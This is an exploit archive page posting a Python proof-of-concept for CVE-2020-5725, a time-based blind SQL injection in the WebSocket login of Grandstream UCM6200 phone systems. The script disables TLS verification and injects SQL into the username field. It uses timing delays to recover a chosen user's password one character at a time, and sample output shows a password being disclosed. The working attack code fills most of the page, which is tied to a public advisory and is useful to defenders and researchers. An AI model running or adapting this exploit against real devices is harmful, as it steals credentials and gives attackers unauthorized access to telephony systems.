exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection

Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection
Posted Mar 31, 2020
Authored by Jacob Baines

Grandstream UCM6200 Series WebSocket versions 1.0.20.20 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2020-5725
SHA-256 | dbde0cbce4402b656e10575e77f62e63150d1c5371532197da758fe2d6e3a6a0

Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection

Change Mirror Download
# Exploit Title: Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection
# Date: 2020-03-30
# Exploit Author: Jacob Baines
# Vendor Homepage: http://www.grandstream.com/
# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware
# Version: 1.0.20.20 and below
# Tested on: Grandstream UCM6202 1.0.20.20
# CVE : CVE-2020-5725
# Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection Password Disclosure via Login (time based)
# Advisory: https://www.tenable.com/security/research/tra-2020-17
# Sample output:
#
# albinolobster@ubuntu:~$ python3 websockify_login_injection.py --rhost 192.168.2.1 --user lolwat
# [+] Password length is 9
# [+] Discovering password...
# LabPass1%
# [+] Done! The password is LabPass1%

import sys
import ssl
import time
import asyncio
import argparse
import websockets

async def password_guess(ip, port, username):

# the path to exploit
uri = 'wss://' + ip + ':' + str(8089) + '/websockify'

# no ssl verification
ssl_context = ssl.SSLContext()
ssl_context.verify_mode = ssl.CERT_NONE
ssl_context.check_hostname = False

# determine the length of the password. The timeout is 10 seconds...
probably
# way too long but whatever.
length = 0
while length < 100:
async with websockets.connect(uri, ssl=ssl_context) as websocket:
start = time.time()
login =
'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"'
+ username + '\' AND LENGTH(user_password)==' + str(length) + ' AND
88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or
\'1\'=\'2","token":"lolwat"}}'
await websocket.send(login)
response = await websocket.recv()

if (time.time() - start) < 5:
length = length + 1
continue
else:
break

# if we hit max password length than we've done something wrong
if (length == 100):
print('[+] Couldn\'t determine the passwords length.')
sys.exit(1)

print('[+] Password length is', length)
print('[+] Discovering password...')

# Now that we know the password length, just guess each password byte
until
# we've reached the full length. Again timeout set to 10 seconds.
password = ''
while len(password) < length:
value = 0x20
while value < 0x80:
if value == 0x22 or value == 0x5c:
temp_pass = password + '\\'
temp_pass = temp_pass + chr(value)
else:
temp_pass = password + chr(value)

temp_pass_len = len(temp_pass)

start = time.time()

async with websockets.connect(uri, ssl=ssl_context) as
websocket:
challenge =
'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"'
+ username + '\' AND user_password LIKE \'' + temp_pass +'%\' AND
substr(user_password,1,' + str(temp_pass_len) + ') = \'' + temp_pass + '\'
AND 88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or
\'1\'=\'2","token":"lolwat"}}'
await websocket.send(challenge)
response = await websocket.recv()

if (time.time() - start) < 5:
value = value + 1
continue
else:
print('\r' + temp_pass, end='')
password = temp_pass
break

if value == 0x80:
print('')
print('[-] Failed to determine the password.')
sys.exit(1)

print('')
print('[+] Done! The password is', password)

top_parser = argparse.ArgumentParser(description='')
top_parser.add_argument('--rhost', action="store", dest="rhost",
required=True, help="The remote host to connect to")
top_parser.add_argument('--rport', action="store", dest="rport", type=int,
help="The remote port to connect to", default=8089)
top_parser.add_argument('--user', action="store", dest="user",
required=True, help="The user to brute force")
args = top_parser.parse_args()

asyncio.get_event_loop().run_until_complete(password_guess(args.rhost,
args.rport, args.user))
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close